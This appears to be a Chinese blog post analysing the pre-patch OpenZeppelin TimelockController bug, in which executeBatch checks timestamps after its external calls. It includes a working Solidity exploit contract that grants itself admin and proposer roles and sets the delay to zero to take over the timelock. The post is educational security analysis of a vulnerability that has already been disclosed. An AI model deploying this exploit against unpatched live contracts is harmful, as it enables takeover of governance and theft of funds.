Hack Replay - Time lock

bixia1994
更新于 2021-09-27 22:23
阅读 3608

最近在项目中要使用到Timelock和权限管理部分，故查阅了下Openzepplin的相关实现，意外发现Openzepplin在前两天刚刚给Timelock打补丁，原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞，允许任何执行者升级其权限成为admin，而执行恶意程序。

# Hack Replay - Time lock

最近在项目中要使用到`Timelock`和权限管理部分，故查阅了下`Openzepplin`的相关实现，意外发现`Openzepplin`在前两天刚刚给`Timelock`打补丁，原因是`Timelock`合约在今年8月份前的版本实现中存在一个严重的漏洞，允许任何执行者升级其权限成为`admin`，而执行恶意程序。

出于学习的目的，这里先将`Openzepplin`实现的`Timelock`合约和相关的`Access`合约进行简单的分析，然后再指出漏洞，给出漏洞的POC，最后再与`compound`中实现的`Timelock`合约进行对比。

本文的参考链接如下：

[TimelockController Vulnerability Postmortem - General / Announcements - OpenZeppelin Community](https://forum.openzeppelin.com/t/timelockcontroller-vulnerability-postmortem/14958)

[Analysis of OZ TimelockController security vulnerability patch | by Damian Rusinek | Sep, 2021 | Medium](https://drdr-zz.medium.com/analysis-of-oz-timelockcontroller-security-vulnerability-patch-23da47a3c158)

## Time Lock合约分析

https://github.com/OpenZeppelin/openzeppelin-contracts/commit/cec4f2ef57495d8b1742d62846da212515d99dd5

这里分析的`TimeLock`合约为`Openzepplin`再给它打补丁之前的合约。

首先需要知道的是：什么是Time Lock合约，以及为什么需要Time Lock合约

简单来讲Time Lock合约是一个时间锁合约，由Openzepplin于去年11月引入到3.3版本中，它实现的功能是延时执行合约动作。一个典型的例子是将`TimelockController`定位为dApp智能合约的管理员，因此，每当一个特权行动要被执行时，它必须等待Timelock指定的某个时间。

使用TimeLock合约可以带来如下两方面的好处：首先，它为项目团队提供了一个额外的安全层，对系统中预期的每一个特权行动给予提示。这使得团队能够检测和应对被破坏的管理账户的恶意调用。其次，它保护社区成员免受项目管理本身的影响，允许成员在不同意任何即将发生的变化时退出协议。

在Time Lock合约的核心，其设置了如下角色。提议者：用于将需要执行的方法以及对应的方法参数提交给Schedule方法，该方法会通过一个哈希运算得到将要执行的方法ID，然后将该ID及该方法预期执行的时间注册到提议表中。执行人：则提起该笔交易，同样通过execute方法计算处将要执行的方法ID，然后查询提议表中该方法ID是否存在，以及该方法ID对应的执行时间是否已经满足，如果都满足要求，则执行该笔交易。注意：存储在Timelock合约中的只有方法的ID和对应的执行时间，方法的参数及地址等均不存放在合约里。

![image20210903145322051.png](https://img.learnblockchain.cn/attachments/2021/09/7IvZS3sj6151d38eb1f19.png)

```js
//schedule方法只能是提议者调用
function schedule(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPSER_ROLE) {
    //计算方法的ID, 思考：delay不应该计算进入方法ID。
    bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
    //写入提议表之前需要验证什么？需要验证delay是不是有效？即delay超过最小delay时间没有。还需要验证该方法是不是已经写如果提议表了
    require(delay >= _minDelay);
    require(_timestamps[id] == 0);
    //写入提议表
    _timestamps[id] = delay.add(block.timestamp);
}
//execute方法只能是执行者调用
function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //计算方法的ID
    bytes32 id = keccak256(abi.encodePacked(target,value,data,predecessor,salt));
    //查提议表，得到方法ID对应的时间戳
    uint256 timestamp = _timestamps[id];
    //验证方法ID对应的时间戳有效即不为0，且小于当前时间=>证明可以开始执行该方法
    require(timestamp >= 1 && timestamp <= uint256(block.timstamp));
    //如果predecessor不为空,则说明执行该方法前，前任必须先要执行完毕。如何判断一个方法已经执行完毕呢？将其赋值为1
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新提议表中的提议时间为1，防止被重复执行
    _timestamps[id] = 1;
    //调用call来执行方法
    (bool success,) = address(target).call{value:value}(data);
    require(success);    
}
```

在`Openzepplin`的`Timelock`实现中，它同时还实现了批量方法：

```js
function scheduleBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
    //批量执行前，需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //批量提交议案，事实上并不是For循环调用提交议案schedule函数，并不是同时插入多个议案到提议表中，而是插入一个批量执行的议案到提议表中
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    _timestamps[id] = delay.add(block.timestamp);
}
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt) public virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //批量执行前，需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //计算批量执行议案的ID，确认该ID对应的时间戳满足要求，即> 1 and < now
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    uint256 timestamp = _timestamps[id];
    require(timestamp > 1 && timestamp <= block.timestamp);
    //如果predecessor不为0，则判断predecessor的提案是否执行完成
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新该批量执行议案的ID对应的时间戳为1
    _timestamps[id] = 1;
    //For循环批量调用
    for (uint i=0; i < targets.length; i++) {
        address target = targets[i];
        uint256 value = values[i];
        bytes memory data = datas[i];
        (bool success, ) = address(target).call{value:value}(data);
        require(success);
    } 
}
```

## Access合约分析

`Openzepllin`的权限管理合约是一个实现了ERC165的合约，它的整体思路是设置不同的角色，然后通过`grantRole`和`revokeRole`给不同的角色添加相应的用户。权限管理合约中，还存在一个全局的ADMIN角色，用于给不同角色添加或者删除用户。当需要给函数添加权限管理时，就在函数方法上添加对应的`modifier`。

Access合约在合约里实际上维护了一个对象结构体，来保存每个address的权限信息：

```js
map(bytes32 => RoleData) private _roles;
struct RoleData {
	mapping(address => bool) members;
	bytes32 adminRole;
}
实际的映射关系为：
keccak256("TIMELOCK_ADMIN_ROLE") => address(Owner()) => true
keccak256("PROPOSER_ROLE") => address(proposer1) => true
keccak256("EXECUTOR_ROLE") => address(executor) => true

从上述的结构体可以看到，要设置一个角色时，需要分两步，第一步设置这个角色组的admin，第二步添加这个角色组的成员。
//第一步设置这个角色组的admin
function _setupRoleAdmin(bytes32 role,bytes32 adminRole) internal virtual {
    //拿到之前的preAdmin
    bytes32 prev_adminRole = _roles[role].adminRole;
    //给对应的角色组设置adminRole
    _roles[role].adminRole = adminRole;
}
//第二步：给角色组添加成员
function _grantRole(bytes32 role,address account) private {
    //先进行判断：即该成员是否已经是该角色组的活跃成员
    if(_roles[role].members[account] != true) {
        _roles[role].members[account] = true;
    }
}
//第三步：移除角色组中的成员
function _revoke(bytes32 role,address account) private {
    //先判断该角色在该角色组中，且活跃
    if (_roles[role].members[account] == true) {
        _roles[role].members[account] = false;
    }
}
//第四步：检查权限
function _checkRole(bytes32 role,address account) internal view {
    //先判断该账户在角色组中
    bool success = _roles[role].members[account];
    require(success);
    //换一种写法：使用revert将失败信息传递出去
    if (!success) {
        revert(string(abi.encodePacked("AccessControl: account",Strings.toHexString(uint160(account),20)," is missing rolw ",Strings.toHexString(uint256(role),32))));
    }
}
```

## 漏洞合约

在`Openzepplin`打补丁之前的`Timelock`合约中，存在者如下漏洞：

```js
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,uint256 salt) public payable virtual onlyRoleOrOpenROle(EXECUTOR_ROLE) {
	//参数检查
	require(targets.length == values.length && targets.length == datas.length);
	//计算提案Id
	bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
	//没有马上验提案Id的有效性
	//验证predecessor是否不为空，且是否执行完毕
	require(predecessor == bytes32(0) || _timestamps[predecessor] == 1);
	//for循环调用
	for (uint256 i=0; i < targets.length; i++) {
		_call(id,i,targets[i],values[i],datas[i]);
	} 
	//验证提案有效性
	require(_timestamps[id] > 1 && _timestamps[id] <= block.timestamp);
	//更新提案
	_timestamps[id] = 1;
}
```

分析该方法，首先明确External Call： `_call(id,i,targets[i],values[i],datas[i]);`， 其次明确该External Call是否可以被hook？由于没有对地址`targets[i]`进行检查，故该`external call`可以被`hook`。第三步：是否满足三种恶意模式。可以看到这里满足第二种恶意模式：`data read after unsafe External Call.`

思考如何利用`Unsafe External Call`来影响到`data read`， 即`_timestamps[id]`.

可以看到，`Timelock`合约中的`schedule`方法可以写入值到`_timestamps[id]`中

```js
schedule onlyRole(PROPSER_ROLE):
     _timestamps[id] = delay.add(block.timestamp);
```

但是`schedule`只能由`Proposer`来访问。且`schedule`中没有`External Call`。那这里我们是不是就没有思路了呢？注意到这里是For循环，for循环的含义是循环体内部的函数会连续执行。这里的循环体内部就只有call函数。故其执行的顺序为：

```js
Executor->executeBatch->call(addr1)->call(addr2)->call(addr3)->check->update
```

我们现在想要它的执行顺序为：

```js
Executor->executeBatch->call(addr1)->call(addr2)->Proposer.schedule->update(_timestamps)->check(_timestamps)->update
```

故为满足proposer来调用schedule方法，最简单的方式是通过admin给外部地址alice添加角色Proposer

```js
Executor->executeBatch->this.grantRole(Proposer)->this.updateDelay(0)->Proposer.schedule->->update(_timestamps)->check(_timestamps)->update
```

## 漏洞分析

在具体编写POC时，需要注意msg.sender分别是谁。

在step1中，调用方法为：`address(timelockController).updateDelay(0)` 由于这是在调用`executeBatch`内部的for循环里调用的，故其`msg.sender`就是timelock自身。

```js
EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> for -> call -> timelock.updateDelay
```

这也是为什么可以绕过updateDelay中的检查：

```js
function updateDelay(uint256 newDelay) external virtual {
	requrie(msg.sender == address(this));
	_minDelay = newDelay;
}
```

同理针对setp2， `address(timelockController).grantRole()`也是一样

其次，在step3中，此时已经将Exploit赋予了admin权限，故在step3中，需要用Exploit合约作为msg.sender, 故调用方式为：

```js
EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> call -> Exploit.attack -> call -> timelock.scheduleBatch
```

在具体的`attack`函数中，在执行`attack`函数后，在执行`executeBatch`结束前，满足如下条件

```js
_timestamps[id] > 1 && _timestamps[id] <= block.timestamp
```

故需要构造一个相同的ID才行，并让delay设置为0即可。

## 漏洞利用

从上面的漏洞合约分析中，可以看到，关键点在于For循环体内的函数是会连续执行的，得到的函数执行顺序是

```js
call_1->call_2->call_3->check->update
```

这里的3个call都是可以由我们自己自由控制的，unsafe External Call的核心其实是在函数执行的中间，控制函数执行的顺序。故给出的POC如下：

```js
pragma solidity ^0.8.0;
import "./TimeLockController.sol";
import "./ITimeLockController.sol";
import "hardhat/console.sol";
contract Setup {
    address[] public proposer;
    address[] public executor;
    TimelockController public timelock;
    uint public minDelay;
    constructor(address _proposer) {
        proposer.push(_proposer);
        //anybody can be an executor
        executor.push(address(0));
        minDelay = 86400;
        timelock = new TimelockController(minDelay,proposer,executor);
    }
}
```

```js
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Setup.sol";

contract Exploit {
    
    Setup public setup;
    TimelockController public timelock;
    uint public minDelay;
    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
    bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
    uint256 internal constant _DONE_TIMESTAMP = uint256(1);
    
    constructor(address _setup) public {
        
        setup = Setup(_setup);
        
        timelock = setup.timelock();
           
    }
    function hack() public {
        //executebatch->timelock.updateDelay(0)->timelock.grantRole(PROPOSER_ROLE,address(Exploit))->address(this).schedule(delay=0)
        
        //executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt)
        
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;
        
        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));
        
        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));        
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);
        timelock.executeBatch(targets,values,datas,predecessor,salt);
    }
    
    function attack() public payable {
        //step1 : grant PROPOSER_ROLE to self
        timelock.grantRole(PROPOSER_ROLE,address(this));
        //grant ADMIN_ROLE to tx.origin so that we can use.
        timelock.grantRole(TIMELOCK_ADMIN_ROLE,tx.origin);
        
        //setp2 : submit a scheduleBatch => because we need to bypass the _timestamps[id], as well the id is executeBatch
        //make delay=0
        //scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) 
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;        
        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));       
        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));       
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);      
        timelock.scheduleBatch(targets,values,datas,predecessor,salt,delay);
       
    }    
}
```

![image20210904233233098.png](https://img.learnblockchain.cn/attachments/2021/09/MAGDjXhM6151d3af115aa.png)

## 与Compound中`Timelock`对比

compound中`Timelock`设计思路与`openzepplin`的`Timelock`设计思路不完全一致。`Compound`的想法比较简单，只有admin是提议者，也只有admin是执行者。与`Openzepplin`中使用`_timestamps[id]=block.timestamp+dylay`的方式不同，compound中仅使用`queuedTransactions[id]=true/false`来判断该笔提议是否已经被提议者提交。当然，compound中判断一笔提议的到期时间也是自己的逻辑：

```js
bytes32 txHash = keccak256(abi.encode(target,value,signature,data,eta));
而在openzepplin中：
bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
```

在`openzepplin`的方法id中并不包含该方法的到期时间，因为该方法的到期时间写入了`_timestamps[id]`中，而compound的方法id中包含了该方法的到期时间。同时也说明`compound`中将同一个方法在不同的到期时间执行视为不同的方法。这一点不如`openzepplin`的设计合理。

compound中也没有批量执行的概念和先序执行的概念，即缺少了scheduleBatch, executeBatch以及predecessor参数，对于一笔需要前一笔交易必须执行完成后才能执行的提案，openzepplin有更好的保护机制。但同时compound也将权限限制为admin才能提交，执行提案，这一点也降低了这一风险，但增加了中心化程度。

Hack Replay - Time lock

出于学习的目的，这里先将Openzepplin实现的Timelock合约和相关的Access合约进行简单的分析，然后再指出漏洞，给出漏洞的POC，最后再与compound中实现的Timelock合约进行对比。

本文的参考链接如下：

TimelockController Vulnerability Postmortem - General / Announcements - OpenZeppelin Community

Analysis of OZ TimelockController security vulnerability patch | by Damian Rusinek | Sep, 2021 | Medium

Time Lock合约分析

https://github.com/OpenZeppelin/openzeppelin-contracts/commit/cec4f2ef57495d8b1742d62846da212515d99dd5

这里分析的TimeLock合约为Openzepplin再给它打补丁之前的合约。

首先需要知道的是：什么是Time Lock合约，以及为什么需要Time Lock合约

简单来讲Time Lock合约是一个时间锁合约，由Openzepplin于去年11月引入到3.3版本中，它实现的功能是延时执行合约动作。一个典型的例子是将TimelockController定位为dApp智能合约的管理员，因此，每当一个特权行动要被执行时，它必须等待Timelock指定的某个时间。

//schedule方法只能是提议者调用
function schedule(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPSER_ROLE) {
    //计算方法的ID, 思考：delay不应该计算进入方法ID。
    bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
    //写入提议表之前需要验证什么？需要验证delay是不是有效？即delay超过最小delay时间没有。还需要验证该方法是不是已经写如果提议表了
    require(delay >= _minDelay);
    require(_timestamps[id] == 0);
    //写入提议表
    _timestamps[id] = delay.add(block.timestamp);
}
//execute方法只能是执行者调用
function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //计算方法的ID
    bytes32 id = keccak256(abi.encodePacked(target,value,data,predecessor,salt));
    //查提议表，得到方法ID对应的时间戳
    uint256 timestamp = _timestamps[id];
    //验证方法ID对应的时间戳有效即不为0，且小于当前时间=>证明可以开始执行该方法
    require(timestamp >= 1 && timestamp &lt;= uint256(block.timstamp));
    //如果predecessor不为空,则说明执行该方法前，前任必须先要执行完毕。如何判断一个方法已经执行完毕呢？将其赋值为1
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新提议表中的提议时间为1，防止被重复执行
    _timestamps[id] = 1;
    //调用call来执行方法
    (bool success,) = address(target).call{value:value}(data);
    require(success);    
}

在Openzepplin的Timelock实现中，它同时还实现了批量方法：

function scheduleBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
    //批量执行前，需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //批量提交议案，事实上并不是For循环调用提交议案schedule函数，并不是同时插入多个议案到提议表中，而是插入一个批量执行的议案到提议表中
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    _timestamps[id] = delay.add(block.timestamp);
}
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt) public virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //批量执行前，需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //计算批量执行议案的ID，确认该ID对应的时间戳满足要求，即> 1 and &lt; now
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    uint256 timestamp = _timestamps[id];
    require(timestamp > 1 && timestamp &lt;= block.timestamp);
    //如果predecessor不为0，则判断predecessor的提案是否执行完成
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新该批量执行议案的ID对应的时间戳为1
    _timestamps[id] = 1;
    //For循环批量调用
    for (uint i=0; i &lt; targets.length; i++) {
        address target = targets[i];
        uint256 value = values[i];
        bytes memory data = datas[i];
        (bool success, ) = address(target).call{value:value}(data);
        require(success);
    } 
}

Access合约分析

Openzepllin的权限管理合约是一个实现了ERC165的合约，它的整体思路是设置不同的角色，然后通过grantRole和revokeRole给不同的角色添加相应的用户。权限管理合约中，还存在一个全局的ADMIN角色，用于给不同角色添加或者删除用户。当需要给函数添加权限管理时，就在函数方法上添加对应的modifier。

Access合约在合约里实际上维护了一个对象结构体，来保存每个address的权限信息：

map(bytes32 => RoleData) private _roles;
struct RoleData {
    mapping(address => bool) members;
    bytes32 adminRole;
}
实际的映射关系为：
keccak256("TIMELOCK_ADMIN_ROLE") => address(Owner()) => true
keccak256("PROPOSER_ROLE") => address(proposer1) => true
keccak256("EXECUTOR_ROLE") => address(executor) => true

从上述的结构体可以看到，要设置一个角色时，需要分两步，第一步设置这个角色组的admin，第二步添加这个角色组的成员。
//第一步设置这个角色组的admin
function _setupRoleAdmin(bytes32 role,bytes32 adminRole) internal virtual {
    //拿到之前的preAdmin
    bytes32 prev_adminRole = _roles[role].adminRole;
    //给对应的角色组设置adminRole
    _roles[role].adminRole = adminRole;
}
//第二步：给角色组添加成员
function _grantRole(bytes32 role,address account) private {
    //先进行判断：即该成员是否已经是该角色组的活跃成员
    if(_roles[role].members[account] != true) {
        _roles[role].members[account] = true;
    }
}
//第三步：移除角色组中的成员
function _revoke(bytes32 role,address account) private {
    //先判断该角色在该角色组中，且活跃
    if (_roles[role].members[account] == true) {
        _roles[role].members[account] = false;
    }
}
//第四步：检查权限
function _checkRole(bytes32 role,address account) internal view {
    //先判断该账户在角色组中
    bool success = _roles[role].members[account];
    require(success);
    //换一种写法：使用revert将失败信息传递出去
    if (!success) {
        revert(string(abi.encodePacked("AccessControl: account",Strings.toHexString(uint160(account),20)," is missing rolw ",Strings.toHexString(uint256(role),32))));
    }
}

漏洞合约

在Openzepplin打补丁之前的Timelock合约中，存在者如下漏洞：

function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,uint256 salt) public payable virtual onlyRoleOrOpenROle(EXECUTOR_ROLE) {
    //参数检查
    require(targets.length == values.length && targets.length == datas.length);
    //计算提案Id
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    //没有马上验提案Id的有效性
    //验证predecessor是否不为空，且是否执行完毕
    require(predecessor == bytes32(0) || _timestamps[predecessor] == 1);
    //for循环调用
    for (uint256 i=0; i &lt; targets.length; i++) {
        _call(id,i,targets[i],values[i],datas[i]);
    } 
    //验证提案有效性
    require(_timestamps[id] > 1 && _timestamps[id] &lt;= block.timestamp);
    //更新提案
    _timestamps[id] = 1;
}

分析该方法，首先明确External Call： _call(id,i,targets[i],values[i],datas[i]);，其次明确该External Call是否可以被hook？由于没有对地址targets[i]进行检查，故该external call可以被hook。第三步：是否满足三种恶意模式。可以看到这里满足第二种恶意模式：data read after unsafe External Call.

思考如何利用Unsafe External Call来影响到data read，即_timestamps[id].

可以看到，Timelock合约中的schedule方法可以写入值到_timestamps[id]中

schedule onlyRole(PROPSER_ROLE):
     _timestamps[id] = delay.add(block.timestamp);

但是schedule只能由Proposer来访问。且schedule中没有External Call。那这里我们是不是就没有思路了呢？注意到这里是For循环，for循环的含义是循环体内部的函数会连续执行。这里的循环体内部就只有call函数。故其执行的顺序为：

Executor->executeBatch->call(addr1)->call(addr2)->call(addr3)->check->update

我们现在想要它的执行顺序为：

Executor->executeBatch->call(addr1)->call(addr2)->Proposer.schedule->update(_timestamps)->check(_timestamps)->update

故为满足proposer来调用schedule方法，最简单的方式是通过admin给外部地址alice添加角色Proposer

Executor->executeBatch->this.grantRole(Proposer)->this.updateDelay(0)->Proposer.schedule->->update(_timestamps)->check(_timestamps)->update

漏洞分析

在具体编写POC时，需要注意msg.sender分别是谁。

在step1中，调用方法为：address(timelockController).updateDelay(0) 由于这是在调用executeBatch内部的for循环里调用的，故其msg.sender就是timelock自身。

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> for -> call -> timelock.updateDelay

这也是为什么可以绕过updateDelay中的检查：

function updateDelay(uint256 newDelay) external virtual {
    requrie(msg.sender == address(this));
    _minDelay = newDelay;
}

同理针对setp2， address(timelockController).grantRole()也是一样

其次，在step3中，此时已经将Exploit赋予了admin权限，故在step3中，需要用Exploit合约作为msg.sender, 故调用方式为：

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> call -> Exploit.attack -> call -> timelock.scheduleBatch

在具体的attack函数中，在执行attack函数后，在执行executeBatch结束前，满足如下条件

_timestamps[id] > 1 && _timestamps[id] &lt;= block.timestamp

故需要构造一个相同的ID才行，并让delay设置为0即可。

漏洞利用

从上面的漏洞合约分析中，可以看到，关键点在于For循环体内的函数是会连续执行的，得到的函数执行顺序是

call_1->call_2->call_3->check->update

这里的3个call都是可以由我们自己自由控制的，unsafe External Call的核心其实是在函数执行的中间，控制函数执行的顺序。故给出的POC如下：

pragma solidity ^0.8.0;
import "./TimeLockController.sol";
import "./ITimeLockController.sol";
import "hardhat/console.sol";
contract Setup {
    address[] public proposer;
    address[] public executor;
    TimelockController public timelock;
    uint public minDelay;
    constructor(address _proposer) {
        proposer.push(_proposer);
        //anybody can be an executor
        executor.push(address(0));
        minDelay = 86400;
        timelock = new TimelockController(minDelay,proposer,executor);
    }
}

pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Setup.sol";

contract Exploit {

    Setup public setup;
    TimelockController public timelock;
    uint public minDelay;
    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
    bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
    uint256 internal constant _DONE_TIMESTAMP = uint256(1);

    constructor(address _setup) public {

        setup = Setup(_setup);

        timelock = setup.timelock();

    }
    function hack() public {
        //executebatch->timelock.updateDelay(0)->timelock.grantRole(PROPOSER_ROLE,address(Exploit))->address(this).schedule(delay=0)

        //executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt)

        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;

        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));

        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));        
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);
        timelock.executeBatch(targets,values,datas,predecessor,salt);
    }

    function attack() public payable {
        //step1 : grant PROPOSER_ROLE to self
        timelock.grantRole(PROPOSER_ROLE,address(this));
        //grant ADMIN_ROLE to tx.origin so that we can use.
        timelock.grantRole(TIMELOCK_ADMIN_ROLE,tx.origin);

        //setp2 : submit a scheduleBatch => because we need to bypass the _timestamps[id], as well the id is executeBatch
        //make delay=0
        //scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) 
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;        
        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));       
        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));       
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);      
        timelock.scheduleBatch(targets,values,datas,predecessor,salt,delay);

    }    
}

与Compound中`Timelock`对比

compound中Timelock设计思路与openzepplin的Timelock设计思路不完全一致。Compound的想法比较简单，只有admin是提议者，也只有admin是执行者。与Openzepplin中使用_timestamps[id]=block.timestamp+dylay的方式不同，compound中仅使用queuedTransactions[id]=true/false来判断该笔提议是否已经被提议者提交。当然，compound中判断一笔提议的到期时间也是自己的逻辑：

bytes32 txHash = keccak256(abi.encode(target,value,signature,data,eta));
而在openzepplin中：
bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));

在openzepplin的方法id中并不包含该方法的到期时间，因为该方法的到期时间写入了_timestamps[id]中，而compound的方法id中包含了该方法的到期时间。同时也说明compound中将同一个方法在不同的到期时间执行视为不同的方法。这一点不如openzepplin的设计合理。

学分: 24
分类: 安全
标签: samczsun

本文参与登链社区写作激励计划，好文好收益，欢迎正在阅读的你也加入。

Hack Replay - Time lock

Hack Replay - Time lock

Time Lock合约分析

Access合约分析

漏洞合约

漏洞分析

漏洞利用

与Compound中`Timelock`对比

1 条评论

文章目录

Hack Replay - Time lock

Hack Replay - Time lock

Time Lock合约分析

Access合约分析

漏洞合约

漏洞分析

漏洞利用

与Compound中Timelock对比

1 条评论

文章目录

与Compound中`Timelock`对比